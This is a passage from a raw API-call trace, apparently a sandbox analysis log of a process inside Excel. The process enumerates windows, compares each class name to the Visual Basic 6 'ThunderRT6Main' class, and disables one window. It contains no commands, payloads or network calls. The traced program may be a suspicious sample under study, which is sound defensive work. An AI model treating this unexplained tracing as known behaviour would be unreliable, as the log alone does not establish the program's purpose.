returned 0x6ec [0159.686] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0159.686] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.686] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.686] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0159.686] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.686] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.686] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0159.686] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0159.686] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.686] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x1501b8 [0159.686] GetClassNameA (in: hWnd=0x1501b8, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="NUIDialog") returned 9 [0159.686] lstrcmpA (lpString1="NUIDialog", lpString2="ThunderRT6Main") returned -1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x1501b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.686] GetWindowLongA (hWnd=0x1501b8, nIndex=-16) returned -2067267584 [0159.686] GetWindowLongPtrA (hWnd=0x1501b8, nIndex=-6) returned 0x7feef250000 [0159.686] GetWindowLongPtrA (hWnd=0x1501b8, nIndex=-6) returned 0x7feef250000 [0159.686] GetWindow (hWnd=0x1501b8, uCmd=0x2) returned 0x10236 [0159.686] GetClassNameA (in: hWnd=0x10236, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0159.686] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.686] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0159.686] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0159.686] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0159.686] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0159.686] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.686] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.686] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0159.686] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0159.686] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0159.686] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0159.686] GetClassNameA (in: hWnd=0x20262, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0159.686] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0159.686] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0159.686] GetClassNameA (in: hWnd=0x20270, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.686] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0159.686] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0159.686] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0159.686] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0159.686] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.686] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0159.686] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0159.686] IsWindowEnabled (hWnd=0x302dc) returned 1 [0159.686] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0159.686] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0159.687] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0159.687] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0159.687] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0159.687] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0159.687] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0159.687] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0159.687] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.687] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0159.687] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0159.687] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0159.687] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0159.687] GetClassNameA (in: hWnd=0x30242, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.687] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.687] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.687] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0159.687] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0159.687] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0159.687] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0159.687] GetClassNameA (in: hWnd=0x40244, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.687] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.687] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.687] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0159.687] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0159.687] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0159.687] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0159.687] GetClassNameA (in: hWnd=0x20288, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.687] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.687] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.687] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0159.687] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0159.687] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0159.687] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0159.687] GetClassNameA (in: hWnd=0x20286, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.687] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.687] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.687] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0159.687] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0159.687] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0159.687] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0159.687] GetClassNameA (in: hWnd=0x30252, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0159.687] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0159.687] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.687] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0159.687] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0159.687] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.687] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.687] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0159.687] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0159.687] GetClassNameA (in: hWnd=0x20256, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0159.687] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0159.687] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.687] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0159.687] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0159.687] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0159.687] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0159.687] GetClassNameA (in: hWnd=0x10246, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0159.687] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0159.687] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.688] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0159.688] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0159.688] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0159.688] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0159.688] GetClassNameA (in: hWnd=0x20224, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0159.688] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0159.688] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.688] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0159.688] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0159.688] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0159.688] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0159.688] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.688] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.688] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.688] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0159.688] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0159.688] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0159.688] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0159.688] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.688] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.688] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.688] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0159.688] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0159.688] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0159.688] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0159.688] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.688] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.688] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.688] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0159.688] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0159.688] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0159.688] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0159.688] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.688] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.688] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.688] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0159.688] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0159.688] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0159.688] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0159.688] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0159.688] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0159.688] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.688] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0159.688] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0159.688] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0159.688] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0159.688] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0159.688] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0159.688] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0159.688] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0159.688] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0159.688] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0159.688] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.688] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0159.688] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0159.688] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0159.688] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0159.688] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.688] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.688] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0159.688] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0159.688] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0159.688] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0159.689] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0159.689] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0159.689] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.689] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0159.689] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0159.689] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.689] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0159.689] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0159.689] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0159.689] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0159.689] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0159.689] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.689] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0159.689] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0159.689] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0159.689] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0159.689] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0159.689] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.689] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0159.689] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0159.689] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0159.689] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0159.689] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0159.689] GetClassNameA (in: hWnd=0x10198, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.689] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0159.689] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0159.689] GetClassNameA (in: hWnd=0x10196, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0159.689] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0159.689] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0159.689] GetClassNameA (in: hWnd=0x10192, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0159.689] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0159.689] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0159.689] GetClassNameA (in: hWnd=0x10194, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.689] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0159.689] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0159.689] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0159.689] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0159.689] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0159.689] GetClassNameA (in: hWnd=0x10190, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.689] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.689] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0159.690] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0159.690] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0159.690] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0159.690] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0159.690] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.690] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0159.690] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0159.690] GetClassNameA (in: hWnd=0x10186, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0159.690] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0159.690] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0159.690] GetClassNameA (in: hWnd=0x10188, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.690] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0159.690] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0159.690] GetClassNameA (in: hWnd=0x10182, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0159.690] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0159.690] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0159.690] GetClassNameA (in: hWnd=0x10184, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.690] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0159.690] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0159.690] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0159.690] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0159.690] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0159.690] GetClassNameA (in: hWnd=0x10180, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.690] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0159.690] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0159.690] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0159.690] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0159.690] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0159.690] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.690] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0159.690] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0159.690] GetClassNameA (in: hWnd=0x10176, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0159.690] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0159.690] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0159.690] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0159.690] GetClassNameA (in: hWnd=0x10178, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.690] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0159.691] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0159.691] 